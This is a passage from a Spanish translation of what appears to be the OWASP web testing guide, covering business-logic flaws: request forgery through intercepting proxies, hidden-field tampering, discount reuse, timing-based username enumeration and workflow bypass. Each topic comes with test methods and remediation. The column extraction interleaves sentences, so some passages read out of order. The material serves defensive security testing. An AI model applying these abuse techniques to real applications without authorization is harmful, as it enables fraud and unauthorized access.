validación de datos como parte del flujo de trabajo de la lógica de negocio. los usuarios utilizar partes de la aplicación o sus funciones, más veces de
las requeridas por el flujo de la lógica de trabajo.
4.12.2 Prueba de la habilidad para manipular consultas (OTG-BUSLOGIC-

002) Esto es importante porque, sin esta protección, los atacantes pueden utilizar
una función o parte de la aplicación un mayor número de veces que el
En las pruebas de requerimientos de parámetros predictivos y manipulados, permitido por la lógica de negocio para obtener beneficios adicionales.
verificamos que la aplicación no permita a los usuarios enviar o modificar
los datos de cualquier componente del sistema al que ellos no deben tener
acceso, que estén accediendo en ese momento o de esa manera en
particular. 4.12.6 Pruebas para la evasión de los flujos de trabajo (OTG-BUSLOGIC-
006)

277
Al evadir el flujo de trabajo y burlar las pruebas de secuencia correcta, Aunque existen herramientas para probar y verificar que los procesos del
verificamos que la aplicación no permite a los usuarios realizar acciones negocio funcionan correctamente en situaciones válidas, estas herramientas
fuera del flujo de proceso de negocios "aprobado/requerido". son incapaces de detectar vulnerabilidades lógicas. Por ejemplo, las
herramientas no tienen posibilidad de detectar si un usuario es capaz de
evitar el flujo de proceso del negocio a través de la edición de parámetros,
predicción de nombres de recursos o escalada de privilegios para acceder a
Esto es importante ya que, sin esta protección, los atacantes pueden ser recursos restringidos ni tienen ningún mecanismo para ayudar a los
capaces de evadir o burlar los flujos de trabajo y "controles" que les permite evaluadores humanos para que sospechen de esta situación.
entrar prematuramente o saltarse las secciones de la aplicación "requerida s",
y potencialmente permite que la acción/transacción termine sin completar el
proceso de negocio, dejando al sistema con información de seguimiento
incompleta en el backend. Los siguientes son algunos tipos comunes de herramientas que pueden ser
útiles en la identificación de temas relacionados con la lógica del negocio.
HP Business Process Testing Software

4.12.7 Prueba de las defensas contra el mal uso de la aplicación (OTG-
BUSLOGIC-007) • www8.hp.com
En las pruebas de defensas contra el mal uso de la aplicación, verificamos

que la aplicación no permita a los usuarios manipular la aplicación de una
manera no deseada. Intercepting Proxy - Para observar los bloques de solicitud y respuesta
del tráfico HTTP.

4.12.8 Prueba de la posibilidad de carga de tipos de archivos inesperados
(OTG-BUSLOGIC-008) • Burp Proxy: portswigger.net
En la prueba de carga de tipos de archivos inesperados, verificamos que la • Paros Proxy: parosproxy.org
aplicación no permita a los usuarios cargar tipos de archivos que el sistema
no espera o requiera de acuerdo a la lógica del negocio.
Web Browser Plug-ins - Para visualizar y modificar encabezados

HTTP/HTTPS, parámetros de publicación y observar el DOM del
Esto es importante ya que, sin esta protección, los atacantes pueden ser navegador
capaces de enviar archivos inesperados tales como .exe o .php que se
guardan en el sistema y luego se ejecutan contra el sistema o aplicación. • Tamper Data (for Internet Explorer: addons.mozilla.org
4.12.9 Prueba de la posibilidad de carga de archivos maliciosos (OTG- • TamperIE (for Internet Explorer): bayden.com
BUSLOGIC-009)
Al probar la carga de archivos maliciosos, verifique que la aplicación no

permita a los usuarios cargar archivos maliciosos o potencialmente dañinos • Firebug (for Internet Explorer): addons.mozilla.org
al sistema y a su seguridad.
Herramientas de pruebas misceláneas

Esto es importante ya que, sin esta protección, los atacantes pueden ser
capaces de cargar archivos al sistema que pueden propagar virus, malware o • Web Developer toolbar: chrome.google.com
incluso explotaciones como shellcode cuando se ejecutan.
La extensión Web Developer añade un botón a la barra de herramientas en

Herramientas el navegador, con varias herramientas de desarrollo web. Este es el puerto
oficial de la extención de Web Developer para Firefox.

278
Realice solicitudes HTTP desde su navegador y navegue en la respuesta

(encabezados HTTP y fuente). Envíe métodos HTTP, encabezados y cuerpo
• HTTP Request Maker: chrome.google.com utilizando XMLHttpRequest desde su navegador y luego vea el estado
HTTP, encabezados y fuente. Haga clic en los links del encabezado o
cuerpo para generar nuevas solicitudes. Este plug-in da formato de
respuesta XML y utiliza un resaltador de sintaxis Syntax Highlighter <
Request Maker es una herramienta para pruebas de penetración. Con ésta http://alexgorbatchev.com/ >.
usted puede capturar fácilmente solicitudes realizadas por páginas web,
manipular la URL, encabezados, datos POST y, por supuesto, realizar
nuevas solicitudes.
• Firebug lite for Chrome: chrome.google.com
• Cookie Editor: chrome.google.com

Firebug Lite no sustituye a Firebug, o las herramientas de Chrome
Developer. Es una herramienta para utilizarla conjuntamente con estas otras
herramientas. Firebug Lite provee la representación visualmente rica que
Edit This Cookie es un administrador de cookies. Usted puede añadir, estamos acostumbrados a ver en Firebug cuando vemos los elementos
borrar, editar, buscar, proteger y bloquear cookies HTML, DOM, y Box Model shading. Además, provee algunas
características interesantes como el inspeccionar los elementos HTML con
su mouse y propiedades de edición en vivo para CSS.
• Session Manager: chrome.google.com Referencias
Libros Blancos
Con Session Manager usted puede grabar rápidamente el estado de su • Business Logic Vulnerabilities in Web Applications:
navegador actual y recargarlo cuando sea necesario. Puede gestionar accorute.googlecode.com
múltiples sesiones, renombrarlas o removerlas de la biblioteca de sesión.
• The Common Misuse Scoring System (CMSS): Metrics for

Cada sesión recuerda el estado del navegador en su momento de creación,
es decir, las ventanas y pestañas abiertas. Una vez que se abre una sesión, el Software Feature Misuse Vulnerabilities - NISTIR 7864: csrc.nist.gov
navegador se restaura a su estado original.
• Designing a Framework Method for Secure Business Application Logic

• Swap My Cookies: chrome.google.com Integrity in e-Commerce Systems, Faisal Nabi: ijns.femto.com.tw
Swap My Cookies es un administrador de sesión. Gestiona sus cookies, • Finite State testing of Graphical User Interfaces, Fevzi Belli:
permitiéndole conectarse en cualquier sitio web con varias cuentas slideshare.net
diferentes.
• Principles and Methods of Testing Finite State Machines - A Survey,

Usted puede finalmente conectarse a Gmail, yahoo, hotmail, y David Lee, Mihalis Yannakakis: cse.ohio-state.edu
prácticamente a cualquier sitio web que utilice, con todas sus cuentas; si
quiere utilizar otra cuenta, ¡solo tiene que intercambiar su perfil!
• Security Issues in Online Games, Jianxin Jeff Yan and Hyun-Jin Choi:
homepages.cs.ncl.ac.uk
• HTTP Response Browser: chrome.google.com/

279
• Securing Virtual Worlds Against Real Attack, Dr. Igor Muttik, McAfee:
info-point-security.com
• Prevent application logic attacks with sound app security practices:
searchappsecurity.techtarget.com
• Seven Business Logic Flaws That Put Your Website At Risk -
Jeremiah Grossman Founder and CTO, WhiteHat Security: • Real-Life Example of a ‘Business Logic Defect: infosecisland.com
whitehatsec.com
• Software Testing Lifecycle: softwaretestingfundamentals.com

• Toward Automated Detection of Logic Vulnerabilities in Web
Applications - Viktoria Felmetsger Ludovico Cavedon Christopher Kruegel
Giovanni Vigna: usenix.org
• Top 10 Business Logic Attack Vectors Attacking and Exploiting Business
Application Assets and Flaws – Vulnerability Detection to Fix:
ntobjectives.com and ntobjectives.com
• 2012 Web Session Intelligence & Security Report: Business Logic Abuse,
Dr. Ponemon: emc.com
Libros
Relacionados a OWASP • The Decision Model: A Business Logic Framework Linking Business and
Technology, By Barbara Von Halle, Larry Goldberg, Published by CRC
• Business Logic Attacks – Bots and Bats, Eldad Chai: blog.imperva.com Press, ISBN1420082817 (2010)
• OWASP Detail Misuse Cases: owasp.org Prueba de la validación de datos de la lógica del negocio (OTG-
BUSLOGIC-001)
Resumen
• How to Prevent Business Flaws Vulnerabilities in Web Applications,
Marco Morana: slideshare.net La aplicación debe asegurarse que pueden introducirse lógicamente datos
válidos en la sección de acceso directo, así como directamente en el lado
del servidor de una aplicación del sistema. Sólo verificar los datos
localmente puede dejar a las aplicaciones vulnerables a inyecciones de
Sitios web útiles servidor a través de proxies o en los intercambios con otros sistemas.
• Abuse of Functionality: projects.webappsec.org
Esto es diferente a simplemente realizar un análisis de valor de límite

(BVA) que es más difícil y, en la mayoría de los casos, no se puede
• Business logic: en.wikipedia.org comprobar simplemente en el punto de entrada; generalmente requiere de
algún otro sistema de control.
• Business Logic Flaws and Yahoo Games: jeremiahgrossman.blogspot.com

Por ejemplo: una aplicación puede solicitar su número de seguro social. En
BVA, la aplicación debe comprobar formatos y semántica (el valor tiene 9
dígitos de largo, no es negativo y no contiene solo 0) en los datos
• CWE-840: Business Logic Errors: cwe.mitre.org introducidos, pero también hay consideraciones lógicas. Los números de
seguro social son agrupados y categorizados. ¿Esta persona está en un
archivo de difuntos? ¿Son de una cierta parte del país?
• Defying Logic: Theory, Design, and Implementation of Complex Systems

for Testing Application Logic: slideshare.net

280
Las vulnerabilidades relacionadas con la validación de datos son únicas, ya crédito en múltiples lugares muy rápidamente, es posible superar mi límite
que son para una aplicación específica y diferente a las vulnerabilidades si los sistemas están basando sus decisiones en los datos de anoche.
relacionadas con la manipulación de solicitudes en las que están más
preocupadas de la lógica de los datos en lugar de simplemente romper el
flujo de trabajo de la lógica del negocio.
Cómo probar
Método de prueba genérica

Tanto la sección de acceso directo (front-end) como la sección de acceso
restringido (back-end) de la aplicación deben verificar y validar que la
información que tiene, utiliza y pasa está validada lógicamente. Incluso si
el usuario provee datos válidos a la aplicación, la lógica del negocio puede • Revise la documentación del proyecto y utilice pruebas exploratorias en
hacer que la aplicación se comporte de una manera distinta, dependiendo de busca de puntos de entrada de datos o puntos de intercambio entre sistemas
los datos o las circunstancias. o software.
Ejemplos • Una vez encontrados, intente insertar datos lógicamente inválidos en el

sistema o aplicación.
Ejemplo 1
Método de prueba específica:
Supongamos que administra un sitio de comercio electrónico de multiples
niveles. El usuario escoge la alfombra, ingresa el tamaño, realiza el pago y
la aplicación de acceso directo ha verificado que toda la información
ingresada es correcta y válida para el contacto, tamaño, fabricación y color • Realizar pruebas GUI de validación funcional en la sección pública de la
de la alfombra. Sin embargo, la lógica de negocio tiene, en el fondo, dos aplicación para asegurarse que se aceptan únicamente los valores "válidos".
rutas.
• Utilizando un proxy de intercepción, observe que el POST/GET de HTTP

Si hay la alfombra en stock, se envía directamente desde su almacén. Si no busque lugares donde pasan variables tales como costo y cantidad.
hay stock en bodega, se realiza una llamada al sistema de su socio y si Específicamente, busque "transferencias" entre aplicaciones y sistemas que
tienen en stock, se enviará la orden desde su bodega y será reembolsada por pueden ser posibles puntos de inyección de manipulación.
su empresa.
•Una vez que las variables se encuentran, empiece a interrogar el campo

¿Qué pasaría si un atacante es capaz de continuar una transacción válida con datos lógicamente "no validos", como números de seguro social o
con stock en su bodega y la envía a su socio como que si no hubiera en identificadores únicos que no existen o que no encajan en la lógica del
stock? ¿Qué pasaría si un atacante es capaz de ingresar en el medio y envía negocio. Esta prueba verifica que el servidor funciona correctamente y no
mensajes al almacén del socio ordenando alfombras sin pagar? acepta datos lógicamente no válidos.
Ejemplo 2 Casos de prueba relacionados
Muchos sistemas de tarjetas de crédito ahora descargan los saldos cada

noche para que los clientes puedan terminar su transacción más rápidamente
cuando las cantidades están bajo un cierto valor. En sentido contrario • Todos los casos de validación de ingresos (Input Validation)
también sería cierto.
• Pruebas de enumeración de cuentas y adivinanza de cuentas de usuario.

Si pago mi tarjeta de crédito por la mañana no seré capaz de usar el crédito (OTG-IDENT-004)
disponible por la tarde. Otro ejemplo puede ser que si utilizo mi tarjeta de

281
• Pruebas del esquema de gestión de sesión (OTG-SESS-001) aquellas que permiten la depuración y presentación de pantallas especiales o
ventanas que son muy útiles durante el desarrollo, pero pueden filtrar
información o eludir la lógica del negocio.
• Pruebas para determinar la Exposición de las Variables de Sesión (OTG-

SESS-004)
Las vulnerabilidades relacionadas con la capacidad de falsificar las
solicitudes son únicas para cada aplicación y diferentes en la validación de
datos de la lógica del negocio, ya que su objetivo es romper el flujo de
Herramientas trabajo de la lógica del negocio.
• OWASP Zed Attack Proxy (ZAP): www.owasp.org/
Las aplicaciones deben tener controles lógicos para evitar que el sistema
acepte solicitudes falsificadas que pueden permitir a los atacantes la
• El Zed Attack Proxy (ZAP) es una herramienta de pruebas de penetración posibilidad de explotar la lógica del negocio, proceso o flujo de la
integrada, fácil de usar para encontrar vulnerabilidades en aplicaciones web. Está aplicación. La falsificación de solicitudes no es nueva; el atacante utiliza un
diseñada para ser utilizada por personas con amplia experiencia en seguridad y, proxy de intercepción para enviar solicitudes POST/GET de HTTP a la
como tal, es ideal para desarrolladores y evaluadores funcionales que son nuevos en aplicación.
el uso de pruebas de penetración. ZAP ofrece escáneres automatizados, así
como un conjunto de herramientas que permiten encontrar las
vulnerabilidades de seguridad manualmente.
Mediante la falsificación de solicitudes, los atacantes pueden evadir la
lógica del negocio o proceso al encontrar, predecir y manipular los
parámetros para hacer que la aplicación piense que un proceso o tarea ha
Referencias ocurrido o no.
Beginning Microsoft Visual Studio LightSwitch Development:
books.google.com Además, las solicitudes falsificadas pueden permitir la subversión del flujo
del programa o de la lógica del negocio invocando funciones "ocultas" o
funcionalidad como la depuración, inicialmente utilizada por los
desarrolladores y evaluadores, denominada a veces "Huevo de Pascua". Un
Remediación "huevo de Pascua" (Easter egg) es una broma interna intencional, mensaje
oculto o una función en un trabajo como un programa de computadora,
La aplicación/sistema debe garantizar que sólo datos "lógicamente válidos" película, libro o crucigrama.
se acepten en todas las entradas y puntos de transferencia de la aplicación o
sistema, y que los datos no se consideren confiables una vez que han sido
ingresados en el sistema.
Según el diseñador de juegos Warren Robinett, el término fue acuñado en
Atari por el personal que fue alertado de la presencia de un mensaje secreto
que había sido escondido por Robinett en su juego ya ampliamente
Prueba de la habilidad de manipular consultas (OTG-BUSLOGIC-002) distribuido, Adventure. Se puso este nombre para evocar la idea de una
cacería tradicional de "huevos de Pascua.”
Resumen
http://en.wikipedia.org/wiki/Easter_egg_(media)
Falsificar las solicitudes es un método que utilizan los atacantes para eludir
la sección de acceso público de una aplicación GUI, para presentar
directamente la información para que se procese en la sección de acceso
restringido. El objetivo del atacante es enviar las solicitudes POST/GET de Ejemplos
HTTP a través de un proxy de intercepción con los valores de datos no
soportados, protegidos en contra o esperados por la lógica del negocio de la Ejemplo 1
aplicación.
Supongamos que un teatro en su sitio de comercio electrónico permite a los
usuarios seleccionar su boleto, aplicar un descuento de tercera edad del 10%
una vez en toda la venta, ver el subtotal y licitar la venta. Si un atacante es
Algunos ejemplos de solicitudes falsificadas que explotan parámetros que capaz de ver a través de un proxy que la aplicación cuenta con un campo
pueden adivinarse o predecirse o que exponen funciones "ocultas" como oculto (de 1 o 0) usado por la lógica del negocio para determinar si ha

282
habido un descuento o no, el atacante podría presentar el 1 o el valor de • Si se encuentra que algún valor es adivinable, este valor puede ser
"descuento no ha sido tomado" varias veces para aprovechar el descuento modificado y se puede obtener visibilidad inesperada.
varias veces.
Método de prueba específica 2:.
Ejemplo 2
• Usando un proxy de intercepción, observe la solicitud POST/GET de
Supongamos que un juego de video en línea paga fichas por puntos HTTP en busca de indicios de funciones ocultas como la de depuración, que
anotados por encontrar tesoros piratas, piratas y por cada nivel completado. puede ser encendida o activada.
Estas fichas pueden intercambiarse posteriormente por premios.
• Si encuentra alguna, trate de adivinar y cambiar estos valores para obtener

Además, los puntos de cada nivel tienen un valor multiplicador igual al una respuesta o comportamiento distinto de la aplicación.
nivel. Si un atacante es capaz de ver a través de un proxy que la aplicación
tiene un campo oculto utilizado durante el desarrollo y pruebas para llegar
rápidamente a los niveles más altos del juego, podría usarlo también para
llegar a los niveles más altos y acumular puntos no ganados rápidamente. Casos de prueba relacionados
Asimismo, si un atacante es capaz de ver a través de un proxy que la Pruebas para determinar la Exposición de las Variables de Sesión (OTG -
aplicación tiene un campo oculto utilizado durante el desarrollo y pruebas SESS-004)
para habilitar un registro que indica dónde se encuentran otros jugadores en
línea o los tesoros escondidos en relación con el atacante, entonces podrían
ir rápidamente a estos lugares y anotar puntos.
Pruebas de un CSRF (CSRF) (OTG-SESS-005)
Cómo probar
Pruebas de enumeración de cuentas y adivinanza de cuentas de usuario
Método de prueba genérica (OTG-IDENT-004)
• Revise la documentación del proyecto y utilice pruebas exploratorias en Herramientas

busca de campos funcionales que pueden ser adivinados, predecibles u
ocultos. OWASP Zed Attack Proxy (ZAP): owasp.org
• Una vez encontrados, intente insertar datos lógicamente válidos en el ZAP es una herramienta de pruebas de penetración integrada, fácil de usar para
sistema o aplicación, lo que permite al usuario ir a través de la encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser utilizada por
aplicación/sistema contra el flujo normal de la lógica del negocio. personas con amplia experiencia en seguridad y, como tal, es ideal para
desarrolladores y evaluadores funcionales que son nuevos en el uso de pruebas de
penetración. ZAP ofrece escáneres automatizados, así como un conjunto de
herramientas que permiten encontrar las vulnerabilidades de seguridad
Método de prueba específica 1: manualmente.
• Utilizando un proxy de intercepción, observe las solicitudes POST/GET Referencias

de HTTP, busque algún indicio de que los valores están incrementando en
intervalos regulares o son fáciles de adivinar. Cross Site Request Forgery - Legitimizing Forged Requests:
fragilesecurity.blogspot.com

283
Easter egg: en.wikipedia.org
La aplicación debe ser lo suficientemente inteligente como para comprobar

las ediciones relacionales que no permitan a los usuarios enviar
Top 10 Software Easter Eggs: lifehacker.com información sin validar directamente al servidor, sólo porque vino desde
controles no editables o que el usuario no está autorizado a enviar desde la
sección frontal.
Remediación
La aplicación debe ser lo suficientemente inteligente y diseñada con una Ejemplo

lógica del negocio que evite que los atacantes puedan predecir y manipular
los parámetros para subvertir el flujo de programación, la lógica del Ejemplo 1
negocio o explotar una funcionalidad oculta/no documentada como la
depuración. Imagine una aplicación GUI del tipo ASP.NET que sólo permite al usuario
administrador cambiar la contraseña de otros usuarios en el sistema. El
usuario administrador verá los campos nombre de usuario y contraseña para
ingresar un nombre de usuario y contraseña mientras que otros usuarios no
Prueba de comprobación de integridad (OTG-BUSLOGIC-003) verán ninguno de estos campos. Sin embargo, si un usuario no
administrador presenta información en el campo nombre de usuario y
Resumen contraseña a través de un proxy , pueden ser capaces de "engañar" al
servidor haciéndole creer que la solicitud proviene de un usuario
Muchas aplicaciones están diseñadas para mostrar diferentes campos, administrador y así cambiar la contraseña de otros usuarios.
dependiendo del usuario en cada situación y dejando algunas entradas
ocultas. Sin embargo, en muchos casos es posible enviar valores de campo
oculto al servidor utilizando un proxy. En estos casos, los controles del lado
del servidor deben ser lo suficientemente inteligentes como para llevar a Ejemplo 2
cabo ediciones relacionales o del lado del servidor para garantizar que los
datos adecuados se ingresan al servidor basado en la lógica del negocio La mayoría de las aplicaciones web tiene listas desplegables, lo que permite
específico del usuario y la aplicación. al usuario seleccionar rápidamente su estado, mes de nacimiento, etc..
Supongamos que una aplicación de gestión de proyectos permite a los
usuarios iniciar una sesión y, dependiendo de sus privilegios, les presenta
una lista desplegable de proyectos a los que tienen acceso.
Además, la aplicación no debe depender de controles no editables, menús
desplegables o campos ocultos para el procesamiento de la lógica del
negocio porque estos campos son no-editables sólo en el contexto de los
navegadores. Los usuarios pueden ser capaces de modificar sus valores ¿Qué pasaría si un atacante encuentra el nombre de otro proyecto al que no
usando herramientas de edición proxy y tratar de manipular la lógica de debería tener acceso y envía la información a través de un proxy? ¿La
negocio. aplicación le dará acceso al proyecto? No deberían tener acceso a pesar de
haber evadido algún control de autorización de la lógica del negocio.
Si la aplicación expone valores relacionados a las reglas del negocio, como

cantidad, etc., como campos no editables, se debe mantener una copia en el Ejemplo 3
servidor y usar el mismo para el procesamiento de la lógica del negocio. Por
último, además de los datos de la aplicación/sistema, los sistemas de Supongamos que el sistema de administración de vehículos a motor
registro deben asegurarse para evitar la lectura, escritura y actualización. requiere que un empleado verifique al inicio toda la información y
documentación de los ciudadanos cuando emiten una identificación o
licencia de conducir.
La comprobación de vulnerabilidades de la integridad de la lógica del

negocio son únicas, ya que estos casos de mal uso son específicos de cada
aplicación y si los usuarios son capaces de hacer cambios, solo se debería En este punto, el proceso del negocio ha creado datos con un alto nivel de
poder escribir, actualizar o modificar artefactos específicos en momentos integridad, ya que la integridad de los datos se comprueba mediante la
determinados por el proceso de la lógica del negocio. aplicación. Ahora, supongamos que la aplicación se mueve al internet para
que los empleados puedan iniciar una sesión con acceso al servicio
completo o los ciudadanos puedan conectarse con un acceso reducido a la
aplicación de autoservicio para actualizar cierta información. En este punto,

284
un atacante puede usar un proxy interceptor para agregar o actualizar datos Método de prueba específica 2
a los que no debería tener acceso y podría destruir la integridad de los datos
indicando que el ciudadano no estaba casado, pero suministrando los datos • Usando un proxy, capture cualquier tráfico HTTP en busca de un lugar
para el nombre de un cónyuge. Este tipo de inserción o actualización de para insertar información en las áreas de la aplicación que no son editables.
datos no verificados destruye la integridad de los datos y podría haberse
evitado si se seguía la lógica del proceso del negocio.
•Si los encuentra, vea cómo este campo se compara con la aplicación GUI e
interrogue a este valor mediante el proxy, presentando diferentes valores,
Ejemplo 4 tratando de eludir los procesos del negocio y manipulando los valores a los
que no debería tener acceso..
Muchos sistemas incluyen registros para el propósito de auditoría y
solución de problemas. Pero, ¿qué tan buena/válida es la información de
estos registros? ¿Pueden ser manipulados por los atacantes intencional o
accidentalmente, destruyendo su integridad? Método de prueba específica 3
• Liste los componentes de la aplicación o sistema que pueden ser editados,

por ejemplo, registros o bases de datos.
Cómo probar
Método de prueba genérica

•En cada componente identificado, tratar de leer, editar o eliminar su
• Revise la documentación del proyecto y utilice una prueba exploratoria en información. Por ejemplo, los archivos de registro deben identificarse y los
busca de piezas de la aplicación/sistema (componentes, por ejemplo, los evaluadores deben tratar de manipular la información que recogen.
campos de entrada, las bases de datos o registros) que mueven, almacenan o
manejan datos/información.
Casos de prueba relacionados
• Para cada componente identificado, determine qué tipo de Todos los casos de prueba de validación de ingresos.
datos/información son lógicamente aceptables y de qué tipo de
aplicación/sistema debe protegerse. Tome en cuenta también quién, según la
lógica del negocio, tiene autorización para insertar, actualizar y eliminar
datos/información y en qué componente. Herramientas
• Varias herramientas del sistema/aplicación como editores y herramientas

de manipulación de archivos.
• Intente insertar, actualizar, editar o borrar los valores de la información
con datos no válidos en cada componente (es decir, entrada, base de datos o .
registro) para los usuarios que no deben tener permiso en el flujo de trabajo
de la lógica del negocio.
• OWASP Zed Attack Proxy (ZAP): owasp.org
Método de prueba específica 1
• Usando una proxy capture cualquier tráfico de HTTP en búsqueda de ZAP es una herramienta de pruebas de penetración integrada, fácil de usar para
campos ocultos. encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser utilizada por
personas con amplia experiencia en seguridad y, como tal, es ideal para
desarrolladores y evaluadores funcionales que son nuevos en el uso de pruebas de
penetración. ZAP ofrece escáneres automatizados, así como un conjunto de
• Si encuentra un campo oculto, vea cómo este campo se compara con la herramientas que permiten encontrar las vulnerabilidades de seguridad
aplicación GUI e interrogue a este valor mediante el proxy, presentando manualmente..
diferentes valores, tratando de eludir los procesos del negocio y
manipulando los valores a los que no debería tener acceso.
Referencias

285
• Implementing Referential Integrity and Shared Business Logic in a RDB: acuerdo a eso, cambiar el comportamiento basado en esa expectativa y
agiledata.org "jugarle al sistema".
• On Rules and Integrity Constraints in Database Systems: comp.nus.edu.sg Ejemplo
Ejemplo 1
• Use referential integrity to enforce basic business rules in Oracle: Los videos de juegos de azar/tragamonedas pueden tardar más tiempo en
techrepublic.com procesar una transacción antes de realizar un desembolso fuerte. Esto
permitiría a los jugadores astutos apostar cantidades mínimas hasta que vean
el tiempo de proceso largo que los haría apostar el máximo.
• Maximizing Business Logic Reuse with Reactive Logic:

architects.dzone.com
Ejemplo 2
• Tamper Evidence Logging - http://tamperevident.cs.rice.eduLogging.html
Muchos procesos de registro de sistema solicitan el nombre de usuario y la
contraseña. Si usted mira de cerca, podrá ver que ingresar un nombre de
usuario y una contraseña no válidos requiere más tiempo para devolver un
Remediación error que ingresar un nombre de usuario válido y una contraseña no válida.
Esto puede permitir al atacante saber si tienen un nombre de usuario válido y
La aplicación debe ser lo suficientemente inteligente como para comprobar no necesitan confiar en el mensaje de GUI.
las ediciones relacionales y no permitir a los usuarios enviar información
directamente al servidor sin que ésta se haya validado, simplemente porque
vino desde controles no editables o porque el usuario no está autorizado a
enviar desde la sección de acceso público. Además, cualquiera de los Ejemplo 3
componentes que se puede editar debe tener mecanismos para prevenir la
escritura o actualización accidental/intencional. La mayoría de arenas o agencias de viajes tienen aplicaciones que permiten a
los usuarios comprar boletos y reservar asientos. Cuando el usuario solicita
los boletos, los asientos se bloquean o reservan quedando pendientes de
pago. ¿Qué pasaría si un atacante sigue reservando asientos, pero no sale del
Prueba del tiempo de procesamiento (OTG-BUSLOGIC-004) sistema? ¿Se liberarán los asientos, o no se venderán los boletos? Algunos
proveedores de boletos ahora sólo permiten a los usuarios tomarse cinco
Resumen minutos para completar una transacción o se invalida la transacción.
Es posible que los atacantes puedan recopilar información sobre una

aplicación controlando el tiempo que le toma para completar una tarea o dar
una respuesta. Además, los atacantes pueden ser capaces de manipular y Ejemplo 4
quebrar los flujos de procesos del negocio diseñados, simplemente
manteniendo las sesiones activas y no enviando sus transacciones en el Supongamos que un sitio de comercio electrónico de metales preciosos
tiempo "esperado". permite a los usuarios hacer compras con una cotización del precio basada en
el precio de mercado vigente en el momento que inicia la sesión. ¿Qué
pasaría si un atacante inicia la sesión y realiza un pedido y no completa la
transacción hasta más tarde en el día cuándo el precio de los metales ha
Las vulnerabilidades de la lógica de sincronización de procesos son únicas, subido? ¿El atacante conseguirá el precio bajo inicial?
porque en estos casos manuales de mal uso deben crearse considerando la
ejecución y sincronización de transacciones que son específicas de cada
aplicación/sistema.
Cómo probar
•Revise la documentación del proyecto y utilice pruebas exploratorias en

El tiempo de procesamiento puede dar/fugar información sobre lo que se búsqueda de la funcionalidad del sistema/aplicación que pueda ser afectado
hace en los procesos ocultos del sistema/aplicación. Si una aplicación por el tiempo, como puede ser el tiempo de ejecución o acciones que ayuden
permite a los usuarios adivinar cuál será el siguiente resultado en particular a los usuarios a predecir un resultado futuro o le permitan eludir cualquier
al procesar las variaciones de tiempo, los usuarios podrán ajustar y, de parte de la lógica del negocio o flujo de trabajo. Por ejemplo, no completar
las transacciones en un tiempo esperado.

286
aplicaciones pueden tener un plan de suscripción y sólo permitir a los

usuarios descargar tres documentos completos por mes.
• Desarrolle y ejecute los casos de mal uso ;asegúrese de que los atacantes no
puedan ganar una ventaja basada en cualquier tiempo.
Las vulnerabilidades relacionadas con la prueba de los límites de la función

son de aplicación específica y se deben crear casos de uso indebido que se
Casos de prueba relacionados esfuercen por probar las partes de las aplicaciones/funciones o acciones más
veces de las permitidas.
• Pruebas de los atributos de las cookies (OTG-SESS-002)
Los atacantes pueden ser capaces de eludir la lógica del negocio y ejecutar
• Pruebas del tiempo de cierre de sesión (OTG-SESS-007) una función más veces que las "permitidas" al explotar la aplicación para
obtener beneficios personales.
Referencias
Ejemplo
Ninguna
Supongamos que un sitio de comercio electrónico permite a los usuarios
aprovechar alguno de los muchos descuentos en su compra total y luego
proceder a salir y licitar. ¿Qué sucede si el atacante navega a la página de
Remediación descuentos después de tomar y aplicar el descuento "admisible"? ¿Pueden
tomar ventaja de otro descuento? ¿Pueden tomar ventaja del mismo
Desarrolle aplicaciones con el tiempo de procesamiento en mente. Si los descuento varias veces?
atacantes pueden obtener algún tipo de ventaja al conocer los diferentes
tiempos de procesamiento y los resultados, agregue pasos adicionales para
que, sin importar los resultados, se proporcione el mismo marco de tiempo
de procesamiento. Cómo probar
•Revise la documentación del proyecto y utilice pruebas exploratorias en

busca de funciones o características de la aplicación o sistema que no deban
Además, el sistema/aplicación debe tener mecanismos que no permitan a los ser ejecutadas más de una vez o un número especifico de veces durante el
atacantes extender las operaciones sobre una cantidad "aceptable" de tiempo. flujo de la lógica del negocio.
Esto se puede hacer mediante la cancelación o reinicio de las transacciones
después de un período de tiempo determinado, como algunos vendedores de
boletos están haciéndolo ahora.
•Para cada una de las funciones y características que sólo debe ejecutarse una
vez o un número especifico de veces durante el flujo de la lógica del
negocio, desarrolle casos de abuso/mal uso que pueden permitir a un usuario
Prueba del número de veces que limita el uso de una función (OTG- ejecutar más veces del número permitido. Por ejemplo, ¿un usuario puede
BUSLOGIC-005) navegar hacia atrás y hacia adelante varias veces a través de las páginas y
ejecutar una función que debería ejecutarse sólo una vez? ¿Un usuario puede
Resumen cargar y descargar los carros de compras para obtener descuentos
adicionales?.
Muchos de los problemas que están resolviendo las aplicaciones requieren
límites al número de veces que se puede utilizar una función o se puede
ejecutar una acción. Las aplicaciones deben ser lo "suficientemente
inteligentes" para no permitir que el usuario exceda su límite en el uso de Casos de prueba relacionados
estas funciones ya que, en muchos casos, cada vez que se utiliza la función,
el usuario puede obtener algún tipo de beneficio que debe ser anotado para • Pruebas de enumeración de cuentas y adivinanza de cuentas de usuario
compensar acertamente al propietario. (OTG-IDENT-004)
Por ejemplo: Un sitio de comercio electrónico sólo puede permitir que los • Pruebas para determinar un mecanismo de bloqueo débil (OTG-AUTHN-
usuarios apliquen un descuento una vez por cada transacción, o algunas 003)

287
y se deben desarrollar cuidadosamente casos de mal uso manuales; deben

desarrollarse usando los requisitos y casos de uso.
Referencias
InfoPath Forms Services business logic exceeded the maximum limit of

operations Rule: mpwiki.viacode.com El proceso de negocio de las aplicaciones debe tener controles para asegurar
que las transacciones/acciones del usuario sucedan en el orden
correcto/aceptable y, si una transacción provoca algún tipo de acción, que
esa acción se "deshaga" y se retire si la transacción no se ha completado con
Gold Trading Was Temporarily Halted On The CME This Morning: éxito.
businessinsider.com
Ejemplos
Remediación
Ejemplo 1
La aplicación debe tener controles para asegurar que se sigue la lógica del
negocio y si una función/acción sólo puede ejecutarse un cierto número de Muchos de nosotros recibimos algún tipo de "puntos de club/fidelidad" por
veces y, cuando se alcanza el límite, el usuario no puede ejecutar la función. las compras en supermercados y gasolineras. Supongamos que un usuario
pudo iniciar una transacción vinculada a su cuenta y luego, después de
agregar puntos a su cuenta de club/lealtad, cancela la transacción o quita
elementos de su "canasta" y licita.
Para evitar que los usuarios usen una función más veces de las adecuadas, la
aplicación puede utilizar mecanismos tales como cookies para contabilizar o
mediante sesiones, que no permitan a los usuarios acceder a ejecutar la
función más veces. En este caso, el sistema no debe aplicar puntos/créditos a la cuenta hasta que
se licita o los puntos/créditos deben "deshacerse" si el incremento de
puntos/crédito no coinciden con la oferta final. Con esto en mente, un
